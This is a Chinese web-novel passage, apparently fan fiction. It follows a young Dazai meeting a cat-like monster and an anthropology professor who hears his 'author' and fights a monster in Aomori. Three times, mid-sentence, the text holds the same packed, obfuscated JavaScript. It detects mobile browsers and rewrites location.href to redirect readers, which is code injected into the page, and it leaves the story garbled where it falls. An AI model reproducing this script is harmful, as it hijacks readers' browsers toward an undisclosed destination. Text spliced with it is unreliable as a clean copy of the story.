《今天主角还在和名著斗智斗勇吗》 1. 欢迎来到 那天并不是普通人口中的好天气,至少所有当事者都表示自己没有看到太阳。尽管在后来,在有关人员查询当天青森的气象时,报告上表明了那是个四月罕见的大晴天,天空中甚至找不到一朵可以漂浮的云。 但所有人却都众口一词地表示,记忆里存在的只有灰白色的天空。就像是已被云层给盖满,当你在庭院里走动时,绝对没法看到自己身前的影子。 那时,11岁的太宰治就在院子的秋千上打着瞌睡。 他的睡眠很浅,一贯如此。所以他才能听到那个与众不同的轻柔窸窣声,那声音像是纱布擦过玻璃。 沙沙沙。 太宰治一下睁开眼睛。他抬起头,朝声音传来的位置看去,正巧看到一只站在墙头的黑猫。 那是只纯黑色的猫。真的是纯黑色,就连鼻子和内耳也一样,都是反射不出任何光泽的黑。 它身上唯一并非黑色的地方就是眼睛——与浑身截然相反,是连虹膜与瞳孔都看不到的白,让人想到白内障患者,或者是目盲的生物,甚至让人怀疑它是否真的存在“眼睛”。 那天的黑猫没有留下影子,这并不奇怪。因为当时“并不是”晴天。 “早上好,太宰。” 猫说。 一只猫突然开口说出了人话,这自然是件很令人惊讶的事情,更何况这只猫还知道太宰治的名字。但最令人惊讶的地方在于,太宰治当时对此没有任何诧异的心情,就像这件事的发生十分理所当然一样。 “早上好,猫。” 太宰治说。 “我不是猫。” “猫”纠正了对方的语病。 它说:“我是怪物。” 太宰治打量着对方。 如果说这团漆黑色的轮廓是怪物,那也是种与猫极像的怪物,以至于能让人在乍一眼看过去时自然而然地建立起名为“猫”的印象。 但要是仔细观察,就会发现对方确实与猫有着极大的差异,更像是个在极力模仿猫类的怪异生物,在极其类似家猫的表面下,各种细节散发出“用力过头”的笨拙。 比如它的黑色。 黑得足以抹消立体感,黑得让人感觉它是个出现在三维空间的二维生物,一个世界的豁口,一块污渍或者一个黑洞。地球上真的存在拥有这样颜色的生物吗? “哦,至少你看上去很像猫。” 太宰治说。 他收回了目光,握着秋千的缆绳,手腕微微用力。于是秋千摇晃起来,在向下垂落的脚尖在最低点轻轻划过地面时,孩童给出了这句漫不经心的夸奖。 怪物那条大概是“尾巴”的东西轻轻摇晃。 “谢谢。”它说,“你看上去也很像人。” 秋千晃动的幅度越来越大。太宰治的腿跟着轻轻摇晃了起来。 “因为我就是人类。” 人类的孩子这么说。 秋千晃动幅度越来越大。他的发梢在气流中呈现为浮动的姿态,怪物的目光似乎被这种晃动所吸引。不过这种连虹膜与瞳孔都没有的生物,存不存在“目光”可能都是个问题。 “可他们和你不一样。”怪物说,“你是明白这一点的。” 幅度越来越大。 “我还没长大呢。” 太宰治的声音被风拉长了:“很正常啦,怪物先生——” 他表现得很笃定。 每个小孩子大概都想象过自己的特殊。有的格外富有想象力的小孩甚至会突然觉得自己是精灵或者仙子,认为自己某天会直接从人类的社会中飞走,飞到传说中无忧无虑的仙境中。 太宰治知道这一点。除此之外,他还比其他这个年纪的孩子要知道得更多。 比如,他知道自己会长大。 “等我长大后,就会变成正常的大人了。” 他用百无聊赖的语气说。 ——比如,他也意识到了,在更微妙、更难以言说的地方,自己与其他人类有着“切切实实”的不同。 “你在骗我。”怪物说,它好像知道太宰治的心里正在想什么,“你知道你的不同不是这个。它就像怪物和猫的区别那样。” 秋千荡起的高度已经达到了墙头。 一个危险的高度。所以人类可以和怪物在同一水平线上看着彼此。但这并不能让太宰治看清对方身上更多的细节:入目的依旧是黑与白的色块,没有更多的修饰。 那确实是个怪物,有着猫的形状,但和猫截然不同。 “喔。” 太宰治偏了下头,似乎突然对这黑白的色块有了好奇。他说:“那你觉得我是……” 荡起的秋千又落下去。 “怪物。” 怪物这样回答:“我们是同类。” 秋千的幅度已经到了危险的地步,几乎平行于地面。太宰治紧紧地抓着绳子,有那么一个瞬间,他看上去像是要从秋千上摔下来。但秋千很快就又荡回来,这次太宰治所处的位置甚至比墙头还要高。 他向后仰着脸,以此注视这漆黑的生物,然后笑起来。 好像对方给出的答案特别有趣似的。 “这样啊。” 他说:“但我不相信你,怪物先生。” 但这次怪物没有开口。它只是静静地、静静地看着太宰治,看着他继续玩这个危险的秋千游戏,看着他一次比一次来到的位置更高,像是要飞起来的鸟。 如果他松开手,估计会真的和鸟一样,就这么飞出去。 “你会找到证据的。”它在一片寂静中开口,给人的感觉像是在此之前已经沉默了一个世纪,“那天我会回来看你。” 太宰治侧过头。他的脸上分明地浮现出不相信的神情。 “看我。”他重复了一遍这个词。 怪物似乎做了个点头的动作。 然后他们一同沉默。在沉默中,秋千还在越荡越高,直到它最终逼近了某个点,给人的感觉像是再也没法继续上升了。 “你还没告诉我你的名字。” 太宰治突然开口。 说这话时他们刚好再次擦肩而过。 怪物沉默地注视着这个“人类”:他脸上的笑容已经消失了,取而代之的是一种对这个年纪的孩子来说很罕见的茫然,甚至有点儿接近忧伤。 “我想,我也许没有资格使用那个名字。” 它说:“但既然你问我……” “人间失格——如果非要称呼我的话。” 这便是他们那天最后的对话。因为下一秒,太宰治的母亲就走进了院子,为自己家的孩子荡秋千荡到了如此危险的高度而惊叫起来。 她赶紧让秋千停下,然后把太宰治从秋千上面拽下来,紧紧地抱在怀里。太宰治在她的怀中眨了眨眼睛,虚心地接受母亲带着担忧气息的责备,同时用余光去看那个墙角。 那里什么都没有。 就像是某种幻觉。 …… “说句实在话,我的幻听症状真的对我的心理状态造成了非常大的影响。” 在飞往青森的飞机上,夏章雾先生正向坐在自己隔壁的一个陌生俄罗斯人用中文大倒苦水,说着自己近一个月以来的苦恼。 他们同样从伦敦出发,巧合地乘了同一班机然后又转了同一班机。夏章雾被这缘分感动得热泪盈眶,当即就把这位先生当成了倾倒情绪垃圾的垃圾桶。 “我举个例子好了:相当于从上个月开始,你就能听到上帝在你耳边絮絮叨叨。而他老人家念叨的内容是要你去拯救世界。如果你不答应,他就在你耳边一直讲,一直讲,一直讲……” 他喝了口杯子里的水,发出绝望的叹息声。 “连上厕所时都这样。”他说。 隔壁的俄罗斯人很专注地听着。他是个相当合格的听众,并没有表现出对这种荒谬说法的任何怀疑,甚至还点了点头。 “听上去确实很糟糕。”他说。 “是啊。”夏章雾用悲戚的语调重复了一遍,“真糟糕。” 他又喝了一口水。 “这是污蔑!” 在吞咽凉水的同时,他听到一个活泼的中性声音在耳边抱怨:“我可没在你上厕所时念叨,我只是在你睡觉时多念叨了两句,仅此而已。不过话又说回来——你怎么到现在还不相信我是你的作者?” “谁会信这种胡话。” 夏章雾朝虚空竖起一根中指,面无表情地回应道:“我宁愿相信你是个超级厉害的异能者,好吗?” 异能,他所在世界的一种特产。 其种类相当丰富,上下限都十分离谱,你能想到的一切不合理现象都能用异能解释。前些年异能者们还轰轰烈烈地打了场仗,差点把彼此的狗脑子打出来。 作为一名伦敦居民,夏章雾认识很多脑子有病的异能者。他觉得这个画外音也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135970|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其中之一。 “可我之前都在你面前表演过预言了。” 画外音说。 “区区这种事情,异能力又不是做不到。” “我还让你通过一系列巧合免费拿到了这次飞机的机票。” “区区这种事情,异能力又不是做不到。” “我还可以告诉你,你在未来其实和你身边那个俄罗斯人谈了恋爱。” “区区……咳咳!不是哥们,你神经病吧!” 夏章雾差点被水呛到。他飞快地看了眼自己身边的俄罗斯人。对方似乎对他和空气的自言自语非常感兴趣,正用他的红眼睛盯着自己。 夏章雾被盯得浑身发毛。 当他思考起自己要不要立刻换个座位,免得被诡计多端的男同盯上时,那个强忍笑意的画外音才响了起来。 “我吓你的。”它笑嘻嘻地说,“你们未来其实是同事关系。” ——有那么一瞬间,夏章雾觉得如果这个画外音有实体的话,他肯定会往上揍一拳。 “真是的。” 可能是为了不在未来被揍,画外音突然转移话题:“早知道要说服主角这么麻烦,我一开始就应该设定一个不会怀疑这种事的主角。” “能够轻易相信这种事的人。” 夏章雾虚起眼睛:“智商也根本不足以承担拯救世界的工作吧。” 到底得多好骗,才能毫不怀疑地相信一个突然出现在自己耳朵里的声音,并全盘接受“世界其实只是一本书”“我是被创造出来的书中角色”“我的存在意义就是作为主角,勤勤恳恳地为拯救世界打工至死”这一系列无厘头设定。 反正他宁愿相信是有异能者闲得发慌,想要拿他恶作剧——虽然概率同样很小,但总比“一觉醒来后发现自己是小说主角”的可能性大得多。 “您现在正和那个声音聊天?” 俄罗斯人似乎有些好奇地问。 “呃,是啊。” 夏章雾用微妙的眼神看了眼他,考虑到这或许是自己未来的同事,最后耸了耸肩,还是解释了一句:“就上个例子而言,那个声音正尝试说服我就是他的天使,而我正尝试说服那个声音他根本不是上帝。” 对方以严肃的态度微微颔首。 “所以您的说服过程有什么进展吗?” 他问。 毫无进展。 夏章雾很想这么说,但在画外音的吵吵嚷嚷下,他还是不得不把他们最后达成的协议给说了出来。 “哦,我们成立了雇佣关系。” 故事的主角摇摇头,由衷地叹了口气,他对俄罗斯人真诚地说道:“它负责危言耸听,我负责调查和解决危言耸听的内容——如果那是真实的话。很合理,除了缺少工资以外。” 这也是他为什么还是坐上了这次的飞机。这个古怪的画外音在上个月起就对他翻来覆去地说过了好几遍:一个危险的现象正在日本发酵。 “虽然只是主角的新手任务,但如果你不去阻止的话,这个世界就要出大问题了。”当时它是这么讲的。 夏章雾对此唯一的感觉就是“世界真脆弱”,但他的确不敢赌这个可能性,尤其是在画外音之前已经给他展示了大预言术的前提下。 就算是被骗,他也只能老老实实认栽。谁叫他的确是个热心善良的人? 耳边的画外音小声地骂了句“真不要脸”。 夏章雾当作自己没听见。 “啊对了,我突然想起来,我好像还没自我介绍。” 他假装自己不知道画外音的念念叨叨,对这位坐在身边的旅客笑了笑,伸出手:“你好,我是夏章雾,夏天的夏。职业是教授,研究人类学的。你呢?” 对方眨了下他酒红色的眼睛,眼中的情绪——是诧异吗?不过好像没有太多掩饰的意思。 “在下费奥多尔·米哈伊洛维奇·陀思妥耶夫斯基。”他同样微笑,随后伸出手,“一名雇佣侦探,您叫我费奥多尔就行。” 夏章雾表面上十分严肃地点头。 ——这名字还挺长。他想,既然是以后要当同事的人,哪天把他的名字念错就尴尬了,幸好只要念前面的四个音节就行。 “很高兴见到你。”他说。 这位来自俄罗斯的侦探视线在他的脸上停留了三四秒,最后才挪开。他的声音很慢、很轻: “是啊。很高兴……能见到您。” 2. 怪物们的 “你完蛋了。” 那个自称作者的声音故作深沉地宣布。 “我觉得一个故事的主角还不至于没见到新手任务就中道崩殂。如果出现了这种问题,只能说明你真的不太适合干这一行。” 夏章雾惯例式地进行吐槽,然后才问了他真正想问的问题:“所以我怎么完蛋了?” 此时他已经下了飞机,并且婉拒了俄罗斯侦探同行的邀请,正在根据地图寻找一个合适的旅馆来放置行李。 这一天是阴天。阳光甚至不足以在地面上清晰地勾勒出影子,但街道两边的樱花开得可以说是热烈到了极点。粉白与嫣红的颜色在灰白天空的映衬下简直像是晚霞。 很美,美到让人想用“璀璨”和“辉煌”来形容这种不会发光的花。 夏章雾暂时放下地图,深吸了一口比伦敦优质太多的空气,甚至开始觉得就算画外音是真的在骗自己,到这里旅行一回也不是什么坏事。 “笨蛋。”然而被吐槽了的画外音显然没有那么好的心情,背后说话的人大概先翻了个白眼,这才说道,“快把你身上多出来的东西都扔掉,可别怪我没提醒你。” “哈?” 夏章雾的脸上浮现出迷惑的表情,但他还是老实地开始搜查全身——反正这么做也没有什么太大的损失——然后在仔细检查后真的找到了什么不对劲的东西。 “这是……” 他把从兜帽后面翻出的一颗微型机械纽扣举到眼前,眯起眼睛:“定位器?” 这种东西夏章雾很熟悉:是最新出现的科技产品,以隐蔽性著称。由于很容易因为各种各样的事故发生损坏,所以一直并没有得到大规模的使用。 他的手指微微发力,把这个小型机械碾碎。 “好过分。”夏章雾抱怨道,“我可是把他当成未来的同事,所以才这么信任他的。” 这回轮到画外音吐槽了:“怎么听都像是在为自己的疏漏找借口呢,夏先生。” 短暂的安静。 “拜托,既然自称为作者,至少允许你的主角说点比较帅的台词吧。不要随便说出大实话来破坏当前的气氛啊!” 被揭穿了的主角先生发出恼羞成怒的声音,但还是很快就恢复了正常,面露沉思: “所以果然是引起警觉了吗?我好像表现得有点过于自来熟了,被塞定位器也没办法,至少不是窃听器这类东西……” 往好的方面想,窃听器的恶劣程度可比定位器要大太多了,而且他不认为能搞到这种限量版定位器的人身上不会随身携带几个。就这一点而言,对方似乎并没有什么恶意。 他说自己的身份是雇佣侦探。那么,是什么样的委托让他从俄罗斯一路来到青森? “早知道就不告诉你,那家伙未来会是你同事了。”画外音没好气地说,“我事先说好啊,那个俄罗斯人是很麻烦的家伙。就是那种聪明到让作者写他们时都会苦恼地掉头发的角色。” “嗯?” 夏章雾捕捉到了盲点,他一脸怀疑地朝着声音传来的虚空中看去:“那你为什么还要把他安排成我未来的同事?” 一般来讲,正常作者面对这样自己完全无法掌控的角色,一般都是会理智地避而不写吧? “因为……我写大纲时脑子抽风了。总之完全不重要!”似乎卡了壳,但那个声音还是在倔强地辩解着,“你还是关心一下你自己为妙。青森这个地方可是有很多危险的家伙的。” 夏章雾又看了眼地图:“能有什么危险?” “奥特曼。”画外音用平静的语气说。 “哈?” “奥特曼的设计者就是青森人啊笨蛋!你连这个都不知道的吗!” 画外音的音量顿时抬高了八个度。 “我又不是特摄粉,不知道这种事也很正常好不好?”夏章雾的音量也不由自主地抬高了八个度,“而且你不要告诉我,这个地方真的会冒出来个奥特曼!” 他得到的回答是漫长的沉默。 “你别告诉我真有。” 夏章雾的表情逐渐僵硬,他咽了口吐沫,有些艰难地开口,并且开始飞快地思考用什么交通工具逃离这个城市比较安全。 “这个倒是没有。”画外音的声音越来越小,“我的意思是,奥特曼没有,但怪兽说不定会有很多……喂,你干嘛往机场走!” “不回去难道我要在这里等哥斯拉出场吗?我当然要去找超越者救兵啊蠢货!” “事情倒也没有那么夸张,而且真正的大问题超越者也根本解决不掉!更重要的是奥特曼里根本没有哥斯拉!” “咦,真的没有吗?” “真、的、没、有!” 在无意义地对着彼此互相输出了五分钟的垃圾话后,作者和主角终于勉强恢复了冷静的心态——这主要还是归功于路过群众看神经病的眼神。 唯一值得庆幸的大概就是他们之间互相争论时使用的并不是日语,没有完全地丢脸丢到国外去。 “如果这里真的有很多怪物,那么不可能现状还那么平稳。” 夏章雾说。他把地图翻到了背面,上面是青森县的旅游介绍,皱了下眉:“本县百分之七十以上由森林覆盖……嗯。” “注意到了吧?其实这里绝大多数的区域都远离人烟,而且警察也不是吃干饭的——或许绝大多数日本警察是吃干饭的,但此刻青森的警察绝对不是——所以就算有怪物出没也可以不引起人类的注意。” 画外音也恢复了平静,它几乎是用理直气壮的语气说道:“而且对于普通人来说难以遇到的怪物,被主角遇到难道不是很正常吗?” 夏章雾提出异议: “作为主角,我觉得不太正常。” “你觉得没有用。”自称作者的家伙冷酷无情地说道,“为了推进剧情,怎么想都是你倒霉一点比较好。” “那如果我现在找一个旅馆住进去,然后一直都不出门呢?”被设定成主角的夏章雾先生皱了下眉,决定给作者的工作增加难度。 “那我就会把怪物刷新在旅馆里。” 并且得到了相当残忍的回答。 出于对普通游客生命安全的考虑,夏章雾咂了咂嘴,还是不得不取消了这个计划。 但找到一个可以放行李的地方依旧是当务之急,为此,他选择了最快的方法:打车。 “带我去最近的一个旅馆,谢谢。” 他拦下一辆出租车,用熟练的日语对司机说道,然后提着自己的行李箱走了进去。 “是外地来的客人吗?想去比较正式的旅馆还是个人经营的民宿?”司机通过后视镜打了个招呼,按照惯例询问道。 “前者吧。” 夏章雾随意地回答,看着随着汽车启动而开始加速向后流逝的风景,然后本着“与其和画外音聊天不如和司机聊天”的想法,直接问道:“对了,请问你们这里有什么流行的都市传说,怪谈或者民俗逸事吗?” 如果这里真的存在怪物,那么还是从这些方面入手调查比较好。 司机愣了一下。 他大概已经习惯了在路途上被外地人询问这里的特色风景与美食,但还没有习惯被问这种奇怪的东西:“都市传说……” “因为在下是布利切斯特大学就职的人类学教授,这次也是来进行实地考察的,所以对这部分内容更感兴趣一点。” 夏章雾回答道,然后有些不好意思地挠了下脸,露出有些羞赫的表情:“哈哈,不过虽然有着人类学这样高级的名称,但实际上研究内容和民俗学差不多,对外行人来说可能是同一回事。” “所以说,你和民俗学家一样有着‘容易遇到超级罕见的怪物本体’的体质也很正常。就算不是主角也改变不了这一点。” 画外音很碎嘴地说道。 “闭嘴。” 这回轮到夏章雾先生冷酷无情地说出这句台词了,然后他很快就换上了礼貌的微笑,对被吓到了的司机道歉:“抱歉,刚才那句话不是对您说的,我戴了耳机,正在和同事打电话。” 原、原来如此! 司机露出恍然大悟的表情。 于是本着对“名字很长的外国大学的教授”的敬畏之心,他仔细地回忆了一番自己所知晓的各种诡异怪谈,但感觉其中没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135971|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪个是青森县独有的,基本上是全日本都流传着的都市传说。 过了半分钟,他才从最近的新闻里得到了灵感。 “真要说的话,其实还真有一个。不过是最近才流传起来的。”司机说,“不知道为什么,最近青森的学校发生了很多起学生受伤事件。而且警方还封锁了消息,命令停学……” “确实是校园都市传说流行的土壤。” 夏章雾若有所思地点头:“请继续。” “是的,所以最近突然出现了校园内有人变成怪物,开始攻击人类的传闻。” 司机的声音变得紧张不安起来:“虽然目前还只局限于校园,但这种无差别伤人事件本身就很可怕。而且警方迟迟不公布案情,也非常令人担忧。” 看来是如果处理不好,很有可能会引起社会恐慌的事件。不过其实和人类学所研究的那些东西关系不大。 但夏章雾还是露出了凝重的沉思神色,甚至连画外音都没有在这个时候打扰他的意思。一直到下车,在旅馆订完房间并入住后,它甚至都没有说话。 夏章雾也乐得清闲。他打开行李箱,里面除了日用品,更多是用途不明的各类模型。接着他把模型拿出来,将其拆解,娴熟地重新组合……一把灰色的左轮在平稳的手中快速成型,最后被装填上弹药。 这位人类学教授注视了手中的武器片刻,然后把它重新放在行李箱里,上锁。 他冷不丁地开口:“你之前说过,我这次的新手任务目标是什么来着?” “一种能把人类变为怪物的文学负面体。” 画外音以平静的语调回复:“名称为,人间失格。” 夏章雾呼出一口气。 “这家伙首先的目标是孩子吗?” 他脸上没有太多的表情,但语气中流露出明显的厌恶:“我突然对这份职业没那么讨厌了,如果我要对付的东西都是这种货色的话。” “其实本质上来讲,它们和天灾是同一种性质。这么强烈的排斥根本没有必要。之所以优先挑选的目标是孩子,也是因为孩童更容易得手。” 画外音实事求是地说:“它们之所以需要被消灭,是因为它们对你们的社会有非常大的危害。只要明白这一点就行。” “是啊,但这是你们造成的天灾。” 夏章雾没好气地回答。 所谓的文学负面体,其实是来自‘作者’所在维度的情绪垃圾。至少当初画外音是这么跟他介绍的。 按照它的说法,那是“我们世界人们对文学作品产生的负面情绪。当它们被抛到更低的维度时,就会从虚无缥缈的情绪变成怪物”。 就夏章雾的角度而言,这个说法十分荒谬。 “没办法啊。这个世界被创作出来的目的就是作为存放这些东西的垃圾场。同样的垃圾场在小说宇宙中或许还存在着无数个。” 那个自称作者的家伙声音里没有丝毫内疚:“没有任何书籍能够得到所有人的喜爱,再伟大的作品也能用各种角度进行攻讦。” “从文学这一形式诞生开始,人类对文学的负面情绪也随之诞生。总不能任由这些情绪垃圾一直堆在我们的维度吧?更低维度的垃圾场是必要的,只不过你们很不幸地生活在了垃圾场上。但你们又不是没有应对它们的办法。” 垃圾场的土著就像是自然界的分解者。 不可捉摸的负面情绪在低维度的垃圾场中有了实体,也就具备了被垃圾场的原居民杀死的可能性。而当出现原居民无法消化、甚至会破坏整个垃圾场生态的“巨型垃圾”时,专门对付这些东西的“主角”也就应运而生了。 所谓的主角,本质上就是这样的东西。 “对的,超级合理。” 这个故事的主角用故作无所谓的语气说:“除了会有很多人死去以外。” “但这不重要。” 作者沉思片刻,然后说出了一个对于二次元角色来说很有哲理性的问题: “更何况,二次元的人真的算人吗?” 很简单的道理——只要随手一写,在几秒时间内就能创造的东西,怎么能算是人类呢? 3. 和人类的 “打车,去青森县警察局。” 夏章雾对司机说。 今天是晴天。 在休整完一日后,夏章雾感觉自己的思路清楚了很多,也确定了自己接下来的目标。 要应对接下来的危险,加入警方是最好的选择。他们可以动员大量人手进行防范,可以轻易获得民间途径无法得到的情报,可以当街开枪,可以强闯民宅,还可以进入各种“无关人士不可进入”的地方。 唯一的问题在于怎么成功地说服警方让自己这个无关人士获准加入。但这对于夏章雾来说,也不算什么特别大的麻烦。 “唉,关系户。” 画外音幽幽地评价:“唉,走后门。” 夏章雾抓着报纸,闻言挑了下眉:“怎么,你嫉妒我?不过也很正常,毕竟不是所有人的学姐都像菊前辈那样神通广大。嗯,不过我倒也很好奇,她到底是为什么嫁给了那位江户川……” 他手中的报纸上,铅印的大字格外清晰: “震惊!遭遇袭击一年后,‘千里眼’江户川刑警正式复出!他要面对的首案竟然是!” 在斗大的标题下,一张知名刑警与家人照片被人用黑笔额外圈了出来,还很人性化地画了个问号在旁边。 “没有人会在乎你的学姐。” 作者大概是翻了个白眼,随后说了句夏章雾完全听不懂的话:“我又不是江南。” “江南?” “怎么,你很好奇?他笔下的主角基本上日子都过得挺糟糕。” “不不不。我只是想起来了一件事。” 夏章雾若有所思地摸了摸下巴:“江南,这是笔名吧?你既然自称为作者,应该也有个类似的笔名才对。” “笔名?真巧,我的笔名就叫作者。” “你认真的?”主角震惊地问。 “我认真的。”作者一本正经地回答。 夏章雾狐疑地看着虚空中的某处:“我怎么觉得你在敷衍……” “先生,警察局现在可能没法过去。这里好像发生了交通事故。” 司机发出有些焦虑的声音。 这个平平无奇的中年司机透过后视镜看着后座上一直在对空气自言自语、手舞足蹈的外国男人,紧张得后背都被汗打湿了。 面对这种疑似精神病患者的乘客,如果他的目的地不是警察局,司机自己可能都要主动打警察局的电话——这家伙太像从精神病院越狱的精神病患者了,还是那种有狂躁症的类型。 “交通事故?” 夏章雾立刻回过神来,他朝外面看去,发现这里的确已经被堵成了水泄不通。这并不是这个时间点应该有的车流量:“离警局还有多远?” “还要再经过二十分钟才能……” 司机气弱地开口,但还没有说完这句话,就被一个突兀响起的尖叫给打断了。 “有怪物啊!救命!” 不成调的尖锐嗓音如此叫喊着。同样响起的还有各种各样恐慌的喊叫声。 本来就紧张的司机更加惶惑不安起来,他下意识结结巴巴地重复了一遍尖叫的内容,在这种场景下显得十分滑稽:“怪、怪物?” 夏章雾的脸色瞬间沉了下去,右手下意识地放在了右侧的口袋里。 “送到这里就行。”他说。 没有等到司机的回答,车门被强行打开,夏章雾从车子内钻出来,然后把门关上,凝重地看向周围。 “亲爱的作者先生。” 他语气冷冽:“现在是什么情况?” “我不知道。”自称作者的声音大大方方地承认道,“你以为作者是小说世界的主宰?不,我们只是写下代码的程序员,这串代码运行起来后的样子我们永远都无法预料……它在那儿!” 夏章雾扭头,看到一只瘦长的漆黑怪物正在堵塞的车队里面左冲右撞,周围的人都打开了车门,惊恐地四散而逃。 “该死。” 他骂了一句:“我该把枪带上的。” “你确定要在大庭广众下用枪?那你走的后门可保不住你。”画外音说,但它明显也变得严肃起来,“小心点,我可不想第三章就被迫换主角,然后被读者钉在耻辱柱上。” 夏章雾根本没管它说了什么。他只是握紧了口袋里的猎刀,眉头紧锁。 这就是他目前唯一的武器。四周这混乱的场面让他连一根物理学圣剑都找不到,想要杀死那家伙,只能用这把刀。 他目不转睛地看着那个距离他还有一段距离的怪物,尝试进行评估。 一个畸形、怪异的瘦长形状,有点像是肢体被拉长的剥皮蜥蜴,或者只有四条腿的特大号竹节虫。目测大概有三米高,如果直立起来可能有五米左右。一根约两米长的舌状物从它裂开的颅骨处钻出,末端镶嵌满了森白的尖牙状骨骼。 嗯……如果出现在电影里,它估计能让影院一半的人开始反胃。 至于速度,非常快,但密集的车辆很好地限制了它的移动能力。爆发力肯定比人要强。看上去是刺客类型的怪物。 攻击手段主要是用颅骨中钻出的舌状物把面前的障碍物撞碎和勒裂。很好,标准的远程攻击。但他现在手里只有近战用的短柄刀。 怪物用胸腔发出尖锐的嘶鸣,那绝对不是地球上任何生物能发出的声音,愤怒和痛苦到令人难以置信。它用蛮力撞开前面的大卡车,身体因为作用力后退几步,然后再次鸣叫。 它表现得很恼怒。 为什么? 因为这些东西挡住了它的路吗? 各种各样的思绪从夏章雾的脑海中掠过,他眯起眼睛,顺着怪物制造的狼藉往远处看去。 那是一条标准的直线。 是的,那么多人类的尖叫和恐慌甚至都没有让它的路线偏离一下。它在固执地往前爬行,扫清前路的障碍物。 是听不到声音?还是只想冲出去? 夏章雾没法在这么短的时间里就分辨清楚,但他知道,这大概是他唯一能掌握的破绽。无论如何,必须要行动起来了。 他直接踩上车顶,顺着这条密密麻麻汽车组成的道路,向怪物身后绕去。很好,对方什么反应都没有。 在绝大多数领域都远超人类的怪物面前,他只有一次机会:用刀将它一击毙命,要么就被怪物给一击毙命。 “弱点。”他呢喃。 “它们是人类变成的。”画外音说。 这算是提示吗? 夏章雾没空多想,只是站稳身子,握紧刀。 假如它们的前身是人类,那么人类的弱点和怪物的弱点说不定是通用的。那么,只要瞄准最有效的目标就行。 他等待着机会。 “不要,不要吃我!”带着哭腔的声音说。 一个女孩没有来得及逃跑,这不怪她。 人类在面对无法预知的恐怖时总是会展现出不靠谱的一面。他们的大脑会突然空白,四肢会突然失去力气,他们甚至忘记自己还能爬或者滚动,只能呆呆地停留在原地,为自己即将到来的命运发出凄惨绝望的声音。 他没有急着动手,选择继续等待。 烦躁不安的怪物无法接受自己面前的阻挡者。它从站立的状态转为匍匐,下盘压得更低,反关节结构的后足变得更加弯曲,呈现出台阶般的弧度。 这是它蓄力爆发的前兆。 ——而他等的就是这个。 夏章雾压低身子,在冲刺加速后跃上对方的后足,将怪物曲折的后肢作为平台二次起跳,最终稳稳踩上对方的脊背,瞄准目标。 想要对方的前肢也失去控制,为防万一,就必须要切断位置足够高的脊柱,所以他才必须要来到对方的背上。 现在,所有条件都满足了。 他借着体重,把刀向下压入对方的身躯。 猎刀的刀尖微微低于刀脊。这种刀更容易被控制,也更容易切开猎物的肌肉。他感觉刀锋深深地没入怪物的躯体,没遇到任何阻碍。就像是它用所有的防御换来了无处施展的机动性和可怕的爆发力。 刀刃深入,然后向斜下方切割,顺着脊椎骨间的缝隙。 ——切断。 鲜血溢出。 和被切断脊椎的人类一样,怪物庞大的身躯瞬间瘫痪。它再次发出痛苦的嘶鸣,舌头瞬间瘫软下来,向前狼狈地摔在废墟中,上半身不受控制地抽搐着,就这样倒在浑身颤抖的女孩身边。 “哀,哀……”怪物胸腔中发出凄苦的呼啸。 夏章雾因为血腥味不适地咳嗽了两声。他艰难地直起身子,看了眼哭泣的孩子,又看了眼怪物,只觉得头疼得要命。 “我真不知道怎么对付小孩。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135972|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他对画外音说。 “没事。”画外音安慰他,“我也不知道。” 于是夏章雾先生只好深吸一口气,硬着头皮上了。 “乖,别睁眼。” 他有些僵硬地安慰了句,然后小心翼翼地走过那个依旧不敢抬头的女孩,走到怪物面前。 “哀,哀。” 怪物在低低地呻吟。 不应该是这样,它想要的不是这个。它只是不想这么生活下去,它只是…… 今天又遇到堵车了而已。 结果是他又迟到了,尽管有着交通堵塞这样正当的理由,但老板还是没法原谅他。就算是他在电话里放弃作为男人的尊严,哭着请他网开一面也不行。他还是失去了仅有的工作。 他把所有事情搞砸了,又一次。 五年前他也是这样把一切搞砸的。他向她告白时遇到了交通堵塞,让她在晚上整整冻了一个小时,发了高烧。但当时她原谅他了,说“我不在意,这不是你的错”。 三年前也是这样。他从外地急匆匆地赶回来时,同样遇到了一场该死的交通堵塞。最后在马路边,他等到了她难产而死的消息。 这次她没能原谅他。大概是因为他真的做错了什么吧。 如果能快一点……如果能再快一点……如果能越过这些该死的车辆就好了……如果没有什么东西能阻碍自己就好了。 只有孩子活了下来,但又有什么用。没有工作的话,幼稚园高昂的学费完全支付不起。 还有父母。他们在知道自己失业后会是什么表情?说不定都不会骂他,因为他们一直都知道他们的儿子很废物。没有任何期待,所以也不会失望。 